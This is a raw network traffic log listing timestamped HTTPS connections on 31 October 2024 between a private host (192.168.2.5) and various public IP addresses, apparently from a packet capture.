Oct 31, 2024 01:18:43.022233963 CET	49875	443	192.168.2.5	172.64.41.3
Oct 31, 2024 01:18:43.022439003 CET	49874	443	192.168.2.5	172.64.41.3
Oct 31, 2024 01:18:43.022454023 CET	443	49874	172.64.41.3	192.168.2.5
Oct 31, 2024 01:18:43.022562981 CET	49875	443	192.168.2.5	172.64.41.3
Oct 31, 2024 01:18:43.022576094 CET	443	49875	172.64.41.3	192.168.2.5
Oct 31, 2024 01:18:43.063329935 CET	443	49864	94.245.104.56	192.168.2.5
Oct 31, 2024 01:18:43.261745930 CET	443	49863	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:43.261882067 CET	49863	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:43.265530109 CET	443	49864	94.245.104.56	192.168.2.5
Oct 31, 2024 01:18:43.265616894 CET	443	49864	94.245.104.56	192.168.2.5
Oct 31, 2024 01:18:43.265634060 CET	49864	443	192.168.2.5	94.245.104.56
Oct 31, 2024 01:18:43.265670061 CET	49864	443	192.168.2.5	94.245.104.56
Oct 31, 2024 01:18:43.271809101 CET	49863	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:43.271828890 CET	443	49863	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:43.272037029 CET	443	49863	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:43.277053118 CET	49863	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:43.277112007 CET	49863	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:43.277144909 CET	443	49863	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:43.283590078 CET	49876	443	192.168.2.5	162.159.61.3
Oct 31, 2024 01:18:43.283613920 CET	443	49876	162.159.61.3	192.168.2.5
Oct 31, 2024 01:18:43.283736944 CET	49876	443	192.168.2.5	162.159.61.3
Oct 31, 2024 01:18:43.283793926 CET	49877	443	192.168.2.5	162.159.61.3
Oct 31, 2024 01:18:43.283818007 CET	443	49877	162.159.61.3	192.168.2.5
Oct 31, 2024 01:18:43.283865929 CET	49877	443	192.168.2.5	162.159.61.3
Oct 31, 2024 01:18:43.284010887 CET	49876	443	192.168.2.5	162.159.61.3
Oct 31, 2024 01:18:43.284024000 CET	443	49876	162.159.61.3	192.168.2.5
Oct 31, 2024 01:18:43.284141064 CET	49877	443	192.168.2.5	162.159.61.3
Oct 31, 2024 01:18:43.284156084 CET	443	49877	162.159.61.3	192.168.2.5
Oct 31, 2024 01:18:43.299272060 CET	49878	443	192.168.2.5	162.159.61.3
Oct 31, 2024 01:18:43.299294949 CET	443	49878	162.159.61.3	192.168.2.5
Oct 31, 2024 01:18:43.299592972 CET	49879	443	192.168.2.5	162.159.61.3
Oct 31, 2024 01:18:43.299619913 CET	443	49879	162.159.61.3	192.168.2.5
Oct 31, 2024 01:18:43.299633980 CET	49878	443	192.168.2.5	162.159.61.3
Oct 31, 2024 01:18:43.299662113 CET	49879	443	192.168.2.5	162.159.61.3
Oct 31, 2024 01:18:43.299897909 CET	49879	443	192.168.2.5	162.159.61.3
Oct 31, 2024 01:18:43.299910069 CET	443	49879	162.159.61.3	192.168.2.5
Oct 31, 2024 01:18:43.300070047 CET	49878	443	192.168.2.5	162.159.61.3
Oct 31, 2024 01:18:43.300086021 CET	443	49878	162.159.61.3	192.168.2.5
Oct 31, 2024 01:18:43.304408073 CET	443	49865	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:43.305813074 CET	49865	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:43.305835962 CET	443	49865	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:43.306447029 CET	49865	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:43.306454897 CET	443	49865	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:43.306606054 CET	49865	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:43.306619883 CET	443	49865	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:43.317886114 CET	443	49870	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:43.318320990 CET	49870	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:43.318342924 CET	443	49870	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:43.318912029 CET	49870	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:43.318917036 CET	443	49870	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:43.320425034 CET	443	49869	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:43.320594072 CET	443	49871	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:43.320997000 CET	49869	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:43.321017027 CET	443	49869	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:43.321551085 CET	49869	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:43.321556091 CET	443	49869	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:43.324508905 CET	49871	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:43.324525118 CET	443	49871	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:43.324884892 CET	49871	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:43.324889898 CET	443	49871	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:43.330840111 CET	49880	443	192.168.2.5	162.159.61.3
Oct 31, 2024 01:18:43.330861092 CET	443	49880	162.159.61.3	192.168.2.5
Oct 31, 2024 01:18:43.330923080 CET	49880	443	192.168.2.5	162.159.61.3
Oct 31, 2024 01:18:43.331132889 CET	49881	443	192.168.2.5	162.159.61.3
Oct 31, 2024 01:18:43.331171989 CET	443	49881	162.159.61.3	192.168.2.5
Oct 31, 2024 01:18:43.331254959 CET	49881	443	192.168.2.5	162.159.61.3
Oct 31, 2024 01:18:43.331691980 CET	49880	443	192.168.2.5	162.159.61.3
Oct 31, 2024 01:18:43.331703901 CET	443	49880	162.159.61.3	192.168.2.5
Oct 31, 2024 01:18:43.331880093 CET	49881	443	192.168.2.5	162.159.61.3
Oct 31, 2024 01:18:43.331891060 CET	443	49881	162.159.61.3	192.168.2.5
Oct 31, 2024 01:18:43.354713917 CET	443	49872	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:43.358783007 CET	49872	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:43.358799934 CET	443	49872	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:43.359467030 CET	49872	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:43.359472036 CET	443	49872	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:43.450611115 CET	443	49869	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:43.450686932 CET	443	49869	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:43.451015949 CET	49869	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:43.451062918 CET	49869	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:43.451078892 CET	443	49869	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:43.451097965 CET	49869	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:43.451107979 CET	443	49869	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:43.451361895 CET	443	49870	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:43.451719046 CET	443	49870	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:43.451724052 CET	443	49871	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:43.451796055 CET	443	49871	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:43.451857090 CET	49870	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:43.452383041 CET	49871	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:43.452383041 CET	49871	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:43.452400923 CET	49871	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:43.452404976 CET	443	49871	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:43.453561068 CET	49870	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:43.453569889 CET	443	49870	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:43.453588963 CET	49870	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:43.453593969 CET	443	49870	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:43.460365057 CET	49883	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:43.460372925 CET	49882	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:43.460387945 CET	443	49883	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:43.460424900 CET	443	49882	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:43.460561991 CET	49883	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:43.460602045 CET	49882	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:43.460939884 CET	49883	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:43.460952997 CET	443	49883	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:43.460988045 CET	49882	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:43.461004019 CET	443	49882	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:43.461169958 CET	49884	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:43.461213112 CET	443	49884	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:43.461302042 CET	49884	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:43.461713076 CET	49884	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:43.461736917 CET	443	49884	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:43.474771023 CET	443	49873	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:43.475234032 CET	49873	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:43.475249052 CET	443	49873	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:43.475714922 CET	49873	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:43.475719929 CET	443	49873	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:43.485774040 CET	443	49872	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:43.485810041 CET	443	49872	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:43.485883951 CET	49872	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:43.485888004 CET	443	49872	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:43.486044884 CET	49872	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:43.486593962 CET	49872	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:43.486602068 CET	443	49872	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:43.486623049 CET	49872	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:43.486629009 CET	443	49872	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:43.490092039 CET	49885	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:43.490103960 CET	443	49885	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:43.490252972 CET	49885	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:43.490413904 CET	49885	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:43.490426064 CET	443	49885	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:43.538984060 CET	49886	443	192.168.2.5	152.195.19.97
Oct 31, 2024 01:18:43.539001942 CET	443	49886	152.195.19.97	192.168.2.5
Oct 31, 2024 01:18:43.539236069 CET	49886	443	192.168.2.5	152.195.19.97
Oct 31, 2024 01:18:43.542370081 CET	49886	443	192.168.2.5	152.195.19.97
Oct 31, 2024 01:18:43.542385101 CET	443	49886	152.195.19.97	192.168.2.5
Oct 31, 2024 01:18:43.562319994 CET	49890	443	192.168.2.5	52.153.155.231
Oct 31, 2024 01:18:43.562365055 CET	443	49890	52.153.155.231	192.168.2.5
Oct 31, 2024 01:18:43.562422037 CET	49890	443	192.168.2.5	52.153.155.231
Oct 31, 2024 01:18:43.563319921 CET	49891	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:43.563333988 CET	443	49891	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:43.563605070 CET	49891	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:43.564315081 CET	49890	443	192.168.2.5	52.153.155.231
Oct 31, 2024 01:18:43.564330101 CET	443	49890	52.153.155.231	192.168.2.5
Oct 31, 2024 01:18:43.564603090 CET	49891	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:43.564616919 CET	443	49891	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:43.609045029 CET	443	49873	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:43.609112978 CET	443	49873	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:43.609241962 CET	49873	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:43.609721899 CET	49873	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:43.609730005 CET	443	49873	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:43.609741926 CET	49873	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:43.609745979 CET	443	49873	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:43.613529921 CET	49892	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:43.613558054 CET	443	49892	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:43.613637924 CET	49892	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:43.613986015 CET	49892	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:43.613997936 CET	443	49892	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:43.628797054 CET	443	49863	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:43.629165888 CET	443	49875	172.64.41.3	192.168.2.5
Oct 31, 2024 01:18:43.631125927 CET	49875	443	192.168.2.5	172.64.41.3
Oct 31, 2024 01:18:43.631134033 CET	443	49875	172.64.41.3	192.168.2.5
Oct 31, 2024 01:18:43.631479025 CET	443	49875	172.64.41.3	192.168.2.5
Oct 31, 2024 01:18:43.632569075 CET	49875	443	192.168.2.5	172.64.41.3
Oct 31, 2024 01:18:43.632631063 CET	443	49875	172.64.41.3	192.168.2.5
Oct 31, 2024 01:18:43.641980886 CET	443	49874	172.64.41.3	192.168.2.5
Oct 31, 2024 01:18:43.642204046 CET	49874	443	192.168.2.5	172.64.41.3
Oct 31, 2024 01:18:43.642213106 CET	443	49874	172.64.41.3	192.168.2.5
Oct 31, 2024 01:18:43.642524004 CET	443	49874	172.64.41.3	192.168.2.5
Oct 31, 2024 01:18:43.643357038 CET	49874	443	192.168.2.5	172.64.41.3
Oct 31, 2024 01:18:43.643414974 CET	443	49874	172.64.41.3	192.168.2.5
Oct 31, 2024 01:18:43.688889027 CET	49863	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:43.688905001 CET	443	49863	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:43.688931942 CET	49874	443	192.168.2.5	172.64.41.3
Oct 31, 2024 01:18:43.690675974 CET	49863	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:43.690694094 CET	49863	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:43.690808058 CET	443	49863	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:43.690845966 CET	443	49863	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:43.691076040 CET	49863	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:43.704389095 CET	49875	443	192.168.2.5	172.64.41.3
Oct 31, 2024 01:18:43.781459093 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:43.781481028 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:43.782727003 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:43.783061981 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:43.783075094 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:43.851058960 CET	49894	443	192.168.2.5	23.221.22.166
Oct 31, 2024 01:18:43.851083040 CET	443	49894	23.221.22.166	192.168.2.5
Oct 31, 2024 01:18:43.851264000 CET	49895	443	192.168.2.5	23.221.22.166
Oct 31, 2024 01:18:43.851274967 CET	49894	443	192.168.2.5	23.221.22.166
Oct 31, 2024 01:18:43.851301908 CET	443	49895	23.221.22.166	192.168.2.5
Oct 31, 2024 01:18:43.851443052 CET	49895	443	192.168.2.5	23.221.22.166
Oct 31, 2024 01:18:43.851739883 CET	49896	443	192.168.2.5	23.221.22.166
Oct 31, 2024 01:18:43.851763010 CET	443	49896	23.221.22.166	192.168.2.5
Oct 31, 2024 01:18:43.851805925 CET	49896	443	192.168.2.5	23.221.22.166
Oct 31, 2024 01:18:43.851932049 CET	49894	443	192.168.2.5	23.221.22.166
Oct 31, 2024 01:18:43.851944923 CET	443	49894	23.221.22.166	192.168.2.5
Oct 31, 2024 01:18:43.852128029 CET	49895	443	192.168.2.5	23.221.22.166
Oct 31, 2024 01:18:43.852144957 CET	443	49895	23.221.22.166	192.168.2.5
Oct 31, 2024 01:18:43.852196932 CET	49896	443	192.168.2.5	23.221.22.166
Oct 31, 2024 01:18:43.852211952 CET	443	49896	23.221.22.166	192.168.2.5
Oct 31, 2024 01:18:43.891201973 CET	443	49876	162.159.61.3	192.168.2.5
Oct 31, 2024 01:18:43.891973019 CET	49876	443	192.168.2.5	162.159.61.3
Oct 31, 2024 01:18:43.891987085 CET	443	49876	162.159.61.3	192.168.2.5
Oct 31, 2024 01:18:43.892173052 CET	443	49877	162.159.61.3	192.168.2.5
Oct 31, 2024 01:18:43.893130064 CET	443	49876	162.159.61.3	192.168.2.5
Oct 31, 2024 01:18:43.894292116 CET	49876	443	192.168.2.5	162.159.61.3
Oct 31, 2024 01:18:43.894467115 CET	49877	443	192.168.2.5	162.159.61.3
Oct 31, 2024 01:18:43.894476891 CET	443	49877	162.159.61.3	192.168.2.5
Oct 31, 2024 01:18:43.894491911 CET	443	49876	162.159.61.3	192.168.2.5
Oct 31, 2024 01:18:43.894980907 CET	443	49877	162.159.61.3	192.168.2.5
Oct 31, 2024 01:18:43.895343065 CET	443	49878	162.159.61.3	192.168.2.5
Oct 31, 2024 01:18:43.895541906 CET	49878	443	192.168.2.5	162.159.61.3
Oct 31, 2024 01:18:43.895551920 CET	443	49878	162.159.61.3	192.168.2.5
Oct 31, 2024 01:18:43.895802021 CET	49877	443	192.168.2.5	162.159.61.3
Oct 31, 2024 01:18:43.895901918 CET	443	49877	162.159.61.3	192.168.2.5
Oct 31, 2024 01:18:43.896542072 CET	443	49878	162.159.61.3	192.168.2.5
Oct 31, 2024 01:18:43.896615028 CET	49878	443	192.168.2.5	162.159.61.3
Oct 31, 2024 01:18:43.897762060 CET	49878	443	192.168.2.5	162.159.61.3
Oct 31, 2024 01:18:43.897823095 CET	443	49878	162.159.61.3	192.168.2.5
Oct 31, 2024 01:18:43.906016111 CET	443	49879	162.159.61.3	192.168.2.5
Oct 31, 2024 01:18:43.906212091 CET	49879	443	192.168.2.5	162.159.61.3
Oct 31, 2024 01:18:43.906219959 CET	443	49879	162.159.61.3	192.168.2.5
Oct 31, 2024 01:18:43.907725096 CET	443	49879	162.159.61.3	192.168.2.5
Oct 31, 2024 01:18:43.907785892 CET	49879	443	192.168.2.5	162.159.61.3
Oct 31, 2024 01:18:43.908080101 CET	49879	443	192.168.2.5	162.159.61.3
Oct 31, 2024 01:18:43.908159971 CET	443	49879	162.159.61.3	192.168.2.5
Oct 31, 2024 01:18:43.966703892 CET	443	49881	162.159.61.3	192.168.2.5
Oct 31, 2024 01:18:43.966972113 CET	49881	443	192.168.2.5	162.159.61.3
Oct 31, 2024 01:18:43.966996908 CET	443	49881	162.159.61.3	192.168.2.5
Oct 31, 2024 01:18:43.968065977 CET	443	49881	162.159.61.3	192.168.2.5
Oct 31, 2024 01:18:43.968169928 CET	49881	443	192.168.2.5	162.159.61.3
Oct 31, 2024 01:18:43.968475103 CET	49881	443	192.168.2.5	162.159.61.3
Oct 31, 2024 01:18:43.968534946 CET	443	49881	162.159.61.3	192.168.2.5
Oct 31, 2024 01:18:43.972769976 CET	443	49880	162.159.61.3	192.168.2.5
Oct 31, 2024 01:18:43.972987890 CET	49880	443	192.168.2.5	162.159.61.3
Oct 31, 2024 01:18:43.973000050 CET	443	49880	162.159.61.3	192.168.2.5
Oct 31, 2024 01:18:43.976368904 CET	443	49880	162.159.61.3	192.168.2.5
Oct 31, 2024 01:18:43.976449013 CET	49880	443	192.168.2.5	162.159.61.3
Oct 31, 2024 01:18:43.976826906 CET	49880	443	192.168.2.5	162.159.61.3
Oct 31, 2024 01:18:43.976903915 CET	443	49880	162.159.61.3	192.168.2.5
Oct 31, 2024 01:18:44.083446980 CET	49877	443	192.168.2.5	162.159.61.3
Oct 31, 2024 01:18:44.083569050 CET	49879	443	192.168.2.5	162.159.61.3
Oct 31, 2024 01:18:44.083580971 CET	443	49879	162.159.61.3	192.168.2.5
Oct 31, 2024 01:18:44.083586931 CET	49881	443	192.168.2.5	162.159.61.3
Oct 31, 2024 01:18:44.083601952 CET	443	49881	162.159.61.3	192.168.2.5
Oct 31, 2024 01:18:44.099087000 CET	49876	443	192.168.2.5	162.159.61.3
Oct 31, 2024 01:18:44.099087000 CET	49878	443	192.168.2.5	162.159.61.3
Oct 31, 2024 01:18:44.099112988 CET	443	49878	162.159.61.3	192.168.2.5
Oct 31, 2024 01:18:44.099143982 CET	49880	443	192.168.2.5	162.159.61.3
Oct 31, 2024 01:18:44.099169016 CET	443	49880	162.159.61.3	192.168.2.5
Oct 31, 2024 01:18:44.179050922 CET	443	49883	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:44.179960966 CET	49883	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:44.179992914 CET	443	49883	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:44.180478096 CET	49883	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:44.180484056 CET	443	49883	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:44.182742119 CET	443	49884	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:44.183080912 CET	49884	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:44.183109045 CET	443	49884	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:44.183701038 CET	49884	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:44.183715105 CET	443	49884	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:44.207027912 CET	443	49882	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:44.207582951 CET	49882	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:44.207607985 CET	443	49882	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:44.208085060 CET	49882	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:44.208091974 CET	443	49882	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:44.208472967 CET	49878	443	192.168.2.5	162.159.61.3
Oct 31, 2024 01:18:44.208475113 CET	49880	443	192.168.2.5	162.159.61.3
Oct 31, 2024 01:18:44.232095003 CET	443	49885	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:44.232832909 CET	49885	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:44.232855082 CET	443	49885	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:44.233290911 CET	49885	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:44.233297110 CET	443	49885	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:44.273602962 CET	443	49886	152.195.19.97	192.168.2.5
Oct 31, 2024 01:18:44.274245024 CET	49886	443	192.168.2.5	152.195.19.97
Oct 31, 2024 01:18:44.274255991 CET	443	49886	152.195.19.97	192.168.2.5
Oct 31, 2024 01:18:44.275252104 CET	443	49886	152.195.19.97	192.168.2.5
Oct 31, 2024 01:18:44.275326014 CET	49886	443	192.168.2.5	152.195.19.97
Oct 31, 2024 01:18:44.276397943 CET	49886	443	192.168.2.5	152.195.19.97
Oct 31, 2024 01:18:44.276457071 CET	443	49886	152.195.19.97	192.168.2.5
Oct 31, 2024 01:18:44.276796103 CET	49886	443	192.168.2.5	152.195.19.97
Oct 31, 2024 01:18:44.276802063 CET	443	49886	152.195.19.97	192.168.2.5
Oct 31, 2024 01:18:44.286603928 CET	49879	443	192.168.2.5	162.159.61.3
Oct 31, 2024 01:18:44.286614895 CET	49881	443	192.168.2.5	162.159.61.3
Oct 31, 2024 01:18:44.288134098 CET	49897	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:44.288175106 CET	443	49897	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:44.288237095 CET	49897	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:44.288428068 CET	49897	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:44.288438082 CET	443	49897	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:44.305649042 CET	443	49891	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:44.305934906 CET	49891	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:44.305948019 CET	443	49891	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:44.306962013 CET	443	49891	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:44.307043076 CET	49891	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:44.308068991 CET	49891	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:44.308130980 CET	443	49891	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:44.308305979 CET	49891	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:44.308314085 CET	443	49891	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:44.310098886 CET	443	49883	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:44.310162067 CET	443	49883	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:44.310269117 CET	49883	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:44.310539961 CET	49883	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:44.310554028 CET	443	49883	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:44.310563087 CET	49883	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:44.310570002 CET	443	49883	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:44.312084913 CET	443	49884	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:44.312278986 CET	443	49884	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:44.312328100 CET	49884	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:44.312870026 CET	49884	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:44.312880993 CET	443	49884	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:44.312891960 CET	49884	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:44.312896013 CET	443	49884	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:44.315596104 CET	49898	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:44.315632105 CET	443	49898	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:44.315690041 CET	49898	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:44.316346884 CET	49898	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:44.316359997 CET	443	49898	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:44.317488909 CET	49899	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:44.317506075 CET	443	49899	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:44.317601919 CET	49899	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:44.317847013 CET	49899	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:44.317858934 CET	443	49899	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:44.340631008 CET	443	49892	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:44.341175079 CET	49892	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:44.341222048 CET	443	49892	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:44.341706038 CET	49892	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:44.341713905 CET	443	49892	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:44.342329025 CET	443	49882	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:44.342360020 CET	443	49882	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:44.342392921 CET	443	49882	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:44.342505932 CET	49882	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:44.342631102 CET	49882	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:44.342631102 CET	49882	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:44.342644930 CET	443	49882	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:44.342653036 CET	443	49882	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:44.345452070 CET	49900	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:44.345479012 CET	443	49900	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:44.345558882 CET	49900	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:44.345704079 CET	49900	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:44.345712900 CET	443	49900	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:44.361795902 CET	443	49885	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:44.361870050 CET	443	49885	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:44.361948967 CET	49885	443	192.168.2.5	13.107.246.45
